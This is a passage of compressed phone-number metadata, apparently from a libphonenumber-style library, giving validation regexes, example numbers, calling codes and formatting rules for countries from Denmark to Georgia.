$4",["[27]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],DK:[null,[null,null,"[2-9]\\d{7}",null,null,null,null,null,null,[8]],[null,null,"(?:[2-7]\\d|8[126-9]|9[1-36-9])\\d{6}",null,null,null,"32123456"],[null,null,"(?:[2-7]\\d|8[126-9]|9[1-36-9])\\d{6}",null,null,null,"32123456"],[null,null,"80\\d{6}",null,null,null,"80123456"],[null,null,"90\\d{6}",null,null,null,"90123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"DK",45,"00",null,null,null,null,null,null,1,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-9]"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],DM:[null,[null,null,"(?:[58]\\d\\d|767|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"767(?:2(?:55|66)|4(?:2[01]|4[0-25-9])|50[0-4]|70[1-3])\\d{4}",null,null,null,"7674201234",null,null,null,[7]],[null,null,"767(?:2(?:[2-4689]5|7[5-7])|31[5-7]|61[1-7])\\d{4}",null,null,null,"7672251234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"DM",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"767",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],DO:[null,[null,null,"(?:[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"8(?:[04]9[2-9]\\d\\d|29(?:2(?:[0-59]\\d|6[04-9]|7[0-27]|8[0237-9])|3(?:[0-35-9]\\d|4[7-9])|[45]\\d\\d|6(?:[0-27-9]\\d|[3-5][1-9]|6[0135-8])|7(?:0[013-9]|[1-37]\\d|4[1-35689]|5[1-4689]|6[1-57-9]|8[1-79]|9[1-8])|8(?:0[146-9]|1[0-48]|[248]\\d|3[1-79]|5[01589]|6[013-68]|7[124-8]|9[0-8])|9(?:[0-24]\\d|3[02-46-9]|5[0-79]|60|7[0169]|8[57-9]|9[02-9])))\\d{4}",null,null,null,"8092345678",null,null,null,[7]],[null,null,"8[024]9[2-9]\\d{6}",null,null,null,"8092345678",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"DO",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"8[024]9",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],DZ:[null,[null,null,"(?:[1-4]|[5-79]\\d|80)\\d{7}",null,null,null,null,null,null,[8,9]],[null,null,"(?:(?:1\\d|2[013-79]|3[0-8]|4[0135689])\\d|9619)\\d{5}",null,null,null,"12345678"],[null,null,"(?:(?:5[4-6]|7[7-9])\\d|6(?:[569]\\d|7[0-6]))\\d{6}",null,null,null,"551234567",null,null,[9]],[null,null,"800\\d{6}",null,null,null,"800123456",null,null,[9]],[null,null,"80[3-689]1\\d{5}",null,null,null,"808123456",null,null,[9]],[null,null,"80[12]1\\d{5}",null,null,null,"801123456",null,null,[9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"98[23]\\d{6}",null,null,null,"983123456",null,null,[9]],"DZ",213,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[1-4]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[5-8]"],"0$1"],[null,"(\\d{2})(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3 $4",["9"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],EC:[null,[null,null,"1800\\d{6,7}|(?:[2-7]|9\\d)\\d{7}",null,null,null,null,null,null,[8,9,10,11],[7]],[null,null,"[2-7][2-7]\\d{6}",null,null,null,"22123456",null,null,[8],[7]],[null,null,"9(?:(?:39|[57][89]|[89]\\d)\\d|6(?:[0-27-9]\\d|30))\\d{5}",null,null,null,"991234567",null,null,[9]],[null,null,"1800\\d{6,7}",null,null,null,"18001234567",null,null,[10,11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"[2-7]890\\d{4}",null,null,null,"28901234",null,null,[8]],"EC",593,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{4})","$1-$2",["[2-7]"]],[null,"(\\d)(\\d{3})(\\d{4})","$1 $2-$3",["[2-7]"],"(0$1)"],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3,4})","$1 $2 $3",["1"]]],[[null,"(\\d)(\\d{3})(\\d{4})","$1-$2-$3",["[2-7]"]],[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["9"],"0$1"],[null,"(\\d{4})(\\d{3})(\\d{3,4})","$1 $2 $3",["1"]]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],EE:[null,[null,null,"8\\d{9}|[4578]\\d{7}|(?:[3-8]\\d\\d|900)\\d{4}",null,null,null,null,null,null,[7,8,10]],[null,null,"(?:3[23589]|4[3-8]|6\\d|7[1-9]|88)\\d{5}",null,null,null,"3212345",null,null,[7]],[null,null,"(?:5\\d|8[1-4])\\d{6}|5(?:(?:[02]\\d|5[0-478])\\d|1(?:[0-8]\\d|95)|6(?:4[0-4]|5[1-589]))\\d{3}",null,null,null,"51234567",null,null,[7,8]],[null,null,"800(?:(?:0\\d\\d|1)\\d|[2-9])\\d{3}",null,null,null,"80012345"],[null,null,"(?:40\\d\\d|900)\\d{4}",null,null,null,"9001234",null,null,[7,8]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70[0-2]\\d{5}",null,null,null,"70012345",null,null,[8]],[null,null,null,null,null,null,null,null,null,[-1]],"EE",372,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[369]|4[3-8]|5(?:[0-2]|5[0-478]|6[45])|7[1-9]","[369]|4[3-8]|5(?:[02]|1(?:[0-8]|95)|5[0-478]|6(?:4[0-4]|5[1-589]))|7[1-9]"]],[null,"(\\d{4})(\\d{3,4})","$1 $2",["[45]|8(?:00|[1-4])","[45]|8(?:00[1-9]|[1-4])"]],[null,"(\\d{2})(\\d{2})(\\d{4})","$1 $2 $3",["7"]],[null,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["80"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,"800[2-9]\\d{3}",null,null,null,null,null,null,[7]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],EG:[null,[null,null,"(?:[189]\\d?|[24-6])\\d{8}|[13]\\d{7}",null,null,null,null,null,null,[8,9,10],[6,7]],[null,null,"(?:1(?:3[23]|5\\d?)|(?:2[2-4]|3)\\d|4(?:0[2-5]|[578][23]|64)|5(?:0[2-7]|5\\d|7[23])|6[24-689]3|8(?:2[2-57]|4[26]|6[237]|8[2-4])|9(?:2[27]|3[24]|52|6[2356]|7[2-4]))\\d{6}",null,null,null,"234567890",null,null,[8,9],[6,7]],[null,null,"1[0-25]\\d{8}",null,null,null,"1001234567",null,null,[10]],[null,null,"800\\d{7}",null,null,null,"8001234567",null,null,[10]],[null,null,"900\\d{7}",null,null,null,"9001234567",null,null,[10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"EG",20,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{7,8})","$1 $2",["[23]"],"0$1"],[null,"(\\d{2})(\\d{6,7})","$1 $2",["1[35]|[4-6]|8[2468]|9[235-7]"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[189]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],EH:[null,[null,null,"[5-8]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"528[89]\\d{5}",null,null,null,"528812345"],[null,null,"(?:6(?:[0-79]\\d|8[0-247-9])|7(?:0[067]|6[1267]|7[017]))\\d{6}",null,null,null,"650123456"],[null,null,"80\\d{7}",null,null,null,"801234567"],[null,null,"89\\d{7}",null,null,null,"891234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5924[01]\\d{4}",null,null,null,"592401234"],"EH",212,"00","0",null,null,"0",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"528[89]",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ER:[null,[null,null,"[178]\\d{6}",null,null,null,null,null,null,[7],[6]],[null,null,"(?:1(?:1[12568]|[24]0|55|6[146])|8\\d\\d)\\d{4}",null,null,null,"8370362",null,null,null,[6]],[null,null,"(?:17[1-3]|7\\d\\d)\\d{4}",null,null,null,"7123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ER",291,"00","0",null,null,"0",null,null,null,[[null,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[178]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ES:[null,[null,null,"(?:51|[6-9]\\d)\\d{7}",null,null,null,null,null,null,[9]],[null,null,"(?:8(?:[1356]\\d|[28][0-8]|[47][1-9])\\d{4}|9(?:(?:(?:[135]\\d|[28][0-8]|4[1-9])\\d\\d|7(?:[124-9]\\d\\d|3(?:[0-8]\\d|9[1-9])))\\d\\d|6(?:[0-8]\\d{4}|9(?:0(?:[0-57-9]\\d\\d|6(?:0[0-8]|1[1-9]|[2-9]\\d))|[1-9]\\d{3}))))\\d\\d",null,null,null,"810123456"],[null,null,"(?:(?:6\\d|7[1-48])\\d{5}|9(?:6906(?:09|10)|7390\\d\\d))\\d\\d",null,null,null,"612345678"],[null,null,"[89]00\\d{6}",null,null,null,"800123456"],[null,null,"80[367]\\d{6}",null,null,null,"803123456"],[null,null,"90[12]\\d{6}",null,null,null,"901123456"],[null,null,"70\\d{7}",null,null,null,"701234567"],[null,null,null,null,null,null,null,null,null,[-1]],"ES",34,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[89]00"]],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[568]|7[0-48]|9(?:0[12]|[1-8])"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"51\\d{7}",null,null,null,"511234567"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],ET:[null,[null,null,"(?:11|[2-59]\\d)\\d{7}",null,null,null,null,null,null,[9],[7]],[null,null,"(?:11(?:1(?:1[124]|2[2-57]|3[1-5]|5[5-8]|8[6-8])|2(?:13|3[6-8]|5[89]|7[05-9]|8[2-6])|3(?:2[01]|3[0-289]|4[1289]|7[1-4]|87)|4(?:1[69]|3[2-49]|4[0-3]|6[5-8])|5(?:1[578]|44|5[0-4])|6(?:18|2[69]|39|4[5-7]|5[1-5]|6[0-59]|8[015-8]))|2(?:2(?:11[1-9]|22[0-7]|33\\d|44[1467]|66[1-68])|5(?:11[124-6]|33[2-8]|44[1467]|55[14]|66[1-3679]|77[124-79]|880))|3(?:3(?:11[0-46-8]|(?:22|55)[0-6]|33[0134689]|44[04]|66[01467])|4(?:44[0-8]|55[0-69]|66[0-3]|77[1-5]))|4(?:6(?:22[0-24-7]|33[1-5]|44[13-69]|55[14-689]|660|88[1-4])|7(?:(?:11|22)[1-9]|33[13-7]|44[13-6]|55[1-689]))|5(?:7(?:227|55[05]|(?:66|77)[14-8])|8(?:11[149]|22[013-79]|33[0-68]|44[013-8]|550|66[1-5]|77\\d)))\\d{4}",null,null,null,"111112345",null,null,null,[7]],[null,null,"9\\d{8}",null,null,null,"911234567"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"ET",251,"00","0",null,null,"0",null,null,null,[[null,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[1-59]"],"0$1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],FI:[null,[null,null,"(?:[124-7]\\d|3[0-46-9])\\d{8}|[1-9]\\d{5,8}|[1-35689]\\d{4}",null,null,null,null,null,null,[5,6,7,8,9,10]],[null,null,"(?:1[3-79][1-8]|[235689][1-8]\\d)\\d{2,6}",null,null,null,"131234567",null,null,[5,6,7,8,9]],[null,null,"(?:4[0-8]|50)\\d{4,8}",null,null,null,"412345678",null,null,[6,7,8,9,10]],[null,null,"800\\d{4,6}",null,null,null,"800123456",null,null,[7,8,9]],[null,null,"[67]00\\d{5,6}",null,null,null,"600123456",null,null,[8,9]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"FI",358,"00|99(?:[01469]|5(?:[14]1|3[23]|5[59]|77|88|9[09]))","0",null,null,"0",null,"00",null,[[null,"(\\d{5})","$1",["7"],"0$1"],[null,"(\\d)(\\d{4,9})","$1 $2",["[2568][1-8]|3(?:0[1-9]|[1-9])|9"],"0$1"],[null,"(\\d{2})(\\d{4,8})","$1 $2",["1(?:0[1-9]|[3-79][1-8]|8)|2(?:0[1-9]|9)|[45]|7[135]"],"0$1"],[null,"(\\d{3})(\\d{3,7})","$1 $2",["(?:1|20)0|[36-8]"],"0$1"]],[[null,"(\\d)(\\d{4,9})","$1 $2",["[2568][1-8]|3(?:0[1-9]|[1-9])|9"],"0$1"],[null,"(\\d{2})(\\d{4,8})","$1 $2",["1(?:0[1-9]|[3-79][1-8]|8)|2(?:0[1-9]|9)|[45]|7[135]"],"0$1"],[null,"(\\d{3})(\\d{3,7})","$1 $2",["(?:1|20)0|[36-8]"],"0$1"]],[null,null,null,null,null,null,null,null,null,[-1]],1,"1[03-79]|[2-9]",[null,null,"[13]00\\d{3,7}|20(?:0\\d{3,7}|(?:2[023]|9[89])\\d{1,6})|60(?:[12]\\d{5,6}|6\\d{7})|7(?:(?:1|3\\d)\\d{7}|5[03-9]\\d{3,7})"],[null,null,"(?:10|[23][09])\\d{4,8}|60(?:[12]\\d{5,6}|6\\d{7})|7(?:(?:1|3\\d)\\d{7}|5[03-9]\\d{3,7})|20[2-59]\\d\\d",null,null,null,"10112345"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],
FJ:[null,[null,null,"(?:(?:0800\\d|[235-9])\\d|45)\\d{5}",null,null,null,null,null,null,[7,11]],[null,null,"(?:(?:3[0-5]|8[58])\\d|6(?:03|[25-7]\\d))\\d{4}",null,null,null,"3212345",null,null,[7]],[null,null,"(?:[279]\\d|45|5[01568]|8[034679])\\d{5}",null,null,null,"7012345",null,null,[7]],[null,null,"0800\\d{7}",null,null,null,"08001234567",null,null,[11]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"FJ",679,"0(?:0|52)",null,null,null,null,null,"00",null,[[null,"(\\d{3})(\\d{4})","$1 $2",["[235-9]|45"]],[null,"(\\d{4})(\\d{3})(\\d{4})","$1 $2 $3",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],FK:[null,[null,null,"[2-7]\\d{4}",null,null,null,null,null,null,[5]],[null,null,"[2-47]\\d{4}",null,null,null,"31234"],[null,null,"[56]\\d{4}",null,null,null,"51234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"FK",500,"00",null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],FM:[null,[null,null,"[39]\\d{6}",null,null,null,null,null,null,[7]],[null,null,"(?:3[2357]0[1-9]|9[2-6]\\d\\d)\\d{3}",null,null,null,"3201234"],[null,null,"(?:3[2357]0[1-9]|9[2-7]\\d\\d)\\d{3}",null,null,null,"3501234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"FM",691,"00",null,null,null,null,null,null,null,[[null,"(\\d{3})(\\d{4})","$1 $2",["3(?:20|[357])|9","3(?:20[1-9]|[357])|9"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],FO:[null,[null,null,"(?:[2-8]\\d|90)\\d{4}",null,null,null,null,null,null,[6]],[null,null,"(?:20|[34]\\d|8[19])\\d{4}",null,null,null,"201234"],[null,null,"(?:[27][1-9]|5\\d)\\d{4}",null,null,null,"211234"],[null,null,"80[257-9]\\d{3}",null,null,null,"802123"],[null,null,"90(?:[13-5][15-7]|2[125-7]|99)\\d\\d",null,null,null,"901123"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:6[0-36]|88)\\d{4}",null,null,null,"601234"],"FO",298,"00",null,null,null,"(10(?:01|[12]0|88))",null,null,null,[[null,"(\\d{6})","$1",["[2-9]"],null,"$CC $1"]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],FR:[null,[null,null,"[1-9]\\d{8}",null,null,null,null,null,null,[9]],[null,null,"[1-5]\\d{8}",null,null,null,"123456789"],[null,null,"(?:6\\d\\d|7(?:00|[3-9]\\d))\\d{6}",null,null,null,"612345678"],[null,null,"80[0-5]\\d{6}",null,null,null,"801234567"],[null,null,"8[129]\\d{7}",null,null,null,"891123456"],[null,null,"884\\d{6}",null,null,null,"884012345"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"9\\d{8}",null,null,null,"912345678"],"FR",33,"00","0",null,null,"0",null,null,null,[[null,"(\\d{3})(\\d{3})","$1 $2",["11"]],[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[1-79]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0 $1"]],[[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4 $5",["[1-79]"],"0$1"],[null,"(\\d{3})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["8"],"0 $1"]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"80[6-9]\\d{6}",null,null,null,"806123456"],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GA:[null,[null,null,"(?:0\\d|[2-7])\\d{6}",null,null,null,null,null,null,[7,8]],[null,null,"01\\d{6}",null,null,null,"01441234",null,null,[8]],[null,null,"(?:0[2-7]|[2-7])\\d{6}",null,null,null,"06031234"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],"GA",241,"00",null,null,null,null,null,null,null,[[null,"(\\d)(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["[2-7]"],"0$1"],[null,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3 $4",["0"]]],null,[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GB:[null,[null,null,"[1-357-9]\\d{9}|[18]\\d{8}|8\\d{6}",null,null,null,null,null,null,[7,9,10],[4,5,6,8]],[null,null,"(?:1(?:1(?:3[0-58]|4[0-5]|5[0-26-9]|6[0-4]|[78][0-49])|2(?:0[024-9]|1[0-7]|2[3-9]|3[3-79]|4[1-689]|[58][02-9]|6[0-47-9]|7[013-9]|9\\d)|3(?:0\\d|1[0-8]|[25][02-9]|3[02-579]|[468][0-46-9]|7[1-35-79]|9[2-578])|4(?:0[03-9]|[137]\\d|[28][02-57-9]|4[02-69]|5[0-8]|[69][0-79])|5(?:0[1-35-9]|[16]\\d|2[024-9]|3[015689]|4[02-9]|5[03-9]|7[0-35-9]|8[0-468]|9[0-57-9])|6(?:0[034689]|1\\d|2[0-35689]|[38][013-9]|4[1-467]|5[0-69]|6[13-9]|7[0-8]|9[0-24578])|7(?:0[0246-9]|2\\d|3[0236-8]|4[03-9]|5[0-46-9]|6[013-9]|7[0-35-9]|8[024-9]|9[02-9])|8(?:0[35-9]|2[1-57-9]|3[02-578]|4[0-578]|5[124-9]|6[2-69]|7\\d|8[02-9]|9[02569])|9(?:0[02-589]|[18]\\d|2[02-689]|3[1-57-9]|4[2-9]|5[0-579]|6[2-47-9]|7[0-24578]|9[2-57]))|2(?:0[01378]|3[0189]|4[017]|8[0-46-9]|9[0-2])\\d)\\d{6}|1(?:(?:2(?:0(?:46[1-4]|87[2-9])|545[1-79]|76(?:2\\d|3[1-8]|6[1-6])|9(?:7(?:2[0-4]|3[2-5])|8(?:2[2-8]|7[0-47-9]|8[3-5])))|3(?:6(?:38[2-5]|47[23])|8(?:47[04-9]|64[0157-9]))|4(?:044[1-7]|20(?:2[23]|8\\d)|6(?:0(?:30|5[2-57]|6[1-8]|7[2-8])|140)|8(?:052|87[1-3]))|5(?:2(?:4(?:3[2-79]|6\\d)|76\\d)|6(?:26[06-9]|686))|6(?:06(?:4\\d|7[4-79])|295[5-7]|35[34]\\d|47(?:24|61)|59(?:5[08]|6[67]|74)|9(?:55[0-4]|77[23]))|8(?:27[56]\\d|37(?:5[2-5]|8[239])|843[2-58])|9(?:0(?:0(?:6[1-8]|85)|52\\d)|3583|4(?:66[1-8]|9(?:2[01]|81))|63(?:23|3[1-4])|9561))\\d|7(?:(?:26(?:6[13-9]|7[0-7])|442\\d|50(?:2[0-3]|[3-68]2|76))\\d|6888[2-46-8]))\\d\\d",null,null,null,"1212345678",null,null,[9,10],[4,5,6,7,8]],[null,null,"7(?:(?:[1-3]\\d\\d|5(?:0[0-8]|[13-9]\\d|2[0-35-9])|8(?:[014-9]\\d|[23][0-8]))\\d|4(?:[0-46-9]\\d\\d|5(?:[0-689]\\d|7[0-57-9]))|7(?:0(?:0[01]|[1-9]\\d)|(?:[1-7]\\d|8[02-9]|9[0-689])\\d)|9(?:(?:[024-9]\\d|3[0-689])\\d|1(?:[02-9]\\d|1[028])))\\d{5}",null,null,null,"7400123456",null,null,[10]],[null,null,"80[08]\\d{7}|800\\d{6}|8001111",null,null,null,"8001234567"],[null,null,"(?:8(?:4[2-5]|7[0-3])|9(?:[01]\\d|8[2-49]))\\d{7}|845464\\d",null,null,null,"9012345678",null,null,[7,10]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"70\\d{8}",null,null,null,"7012345678",null,null,[10]],[null,null,"56\\d{8}",null,null,null,"5612345678",null,null,[10]],"GB",44,"00","0"," x",null,"0",null,null,null,[[null,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["845","8454","84546","845464"],"0$1"],[null,"(\\d{3})(\\d{4})","$1 $2",["800","8001","80011","800111","8001111"],"0$1"],[null,"(\\d{3})(\\d{6})","$1 $2",["800"],"0$1"],[null,"(\\d{4})(\\d{5,6})","$1 $2",["1(?:[2-79][02-9]|8)","1(?:[24][02-9]|3(?:[02-79]|8[0-46-9])|5(?:[04-9]|2[024-9]|3[014-689])|6(?:[02-8]|9[0-24578])|7(?:[02-57-9]|6[013-9])|8|9(?:[0235-9]|4[2-9]))","1(?:[24][02-9]|3(?:[02-79]|8(?:[0-4689]|7[0-24-9]))|5(?:[04-9]|2(?:[025-9]|4[013-9])|3(?:[014-68]|9[0-37-9]))|6(?:[02-8]|9(?:[0-2458]|7[0-25689]))|7(?:[02-57-9]|6(?:[013-79]|8[0-25689]))|8|9(?:[0235-9]|4(?:[2-57-9]|6[0-689])))"],"0$1"],[null,"(\\d{5})(\\d{4,5})","$1 $2",["1(?:38|5[23]|69|7|94)"],"0$1"],[null,"(\\d{2})(\\d{4})(\\d{4})","$1 $2 $3",["[25]|7(?:0|6[024-9])","[25]|7(?:0|6(?:[04-9]|2[356]))"],"0$1"],[null,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["[1389]"],"0$1"],[null,"(\\d{4})(\\d{6})","$1 $2",["7"],"0$1"]],null,[null,null,"76(?:0[0-2]|2[356]|4[0134]|5[49]|6[0-369]|77|81|9[39])\\d{6}",null,null,null,"7640123456",null,null,[10]],1,null,[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"(?:3[0347]|55)\\d{8}",null,null,null,"5512345678",null,null,[10]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GD:[null,[null,null,"(?:473|[58]\\d\\d|900)\\d{7}",null,null,null,null,null,null,[10],[7]],[null,null,"473(?:2(?:3[0-2]|69)|3(?:2[89]|86)|4(?:[06]8|3[5-9]|4[0-49]|5[5-79]|73|90)|63[68]|7(?:58|84)|800|938)\\d{4}",null,null,null,"4732691234",null,null,null,[7]],[null,null,"473(?:4(?:0[2-79]|1[04-9]|2[0-5]|58)|5(?:2[01]|3[3-8])|901)\\d{4}",null,null,null,"4734031234",null,null,null,[7]],[null,null,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",null,null,null,"8002123456"],[null,null,"900[2-9]\\d{6}",null,null,null,"9002123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"5(?:00|2[12]|33|44|66|77|88)[2-9]\\d{6}",null,null,null,"5002345678"],[null,null,null,null,null,null,null,null,null,[-1]],"GD",1,"011","1",null,null,"1",null,null,null,null,null,[null,null,null,null,null,null,null,null,null,[-1]],null,"473",[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],null,null,[null,null,null,null,null,null,null,null,null,[-1]]],GE:[null,[null,null,"(?:[3-57]\\d\\d|800)\\d{6}",null,null,null,null,null,null,[9],[6]],[null,null,"(?:3(?:[256]\\d|4[124-9]|7[0-4])|4(?:1\\d|2[2-7]|3[1-79]|4[2-8]|7[239]|9[1-7]))\\d{6}",null,null,null,"322123456",null,null,null,[6]],[null,null,"(?:5(?:[14]4|5[0157-9]|68|7[0147-9]|9[1-35-9])|790)\\d{6}",null,null,null,"555123456"],[null,null,"800\\d{6}",null,null,null,"800123456"],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,null,null,null,null,null,null,null,[-1]],[null,null,"706\\d{6}",nul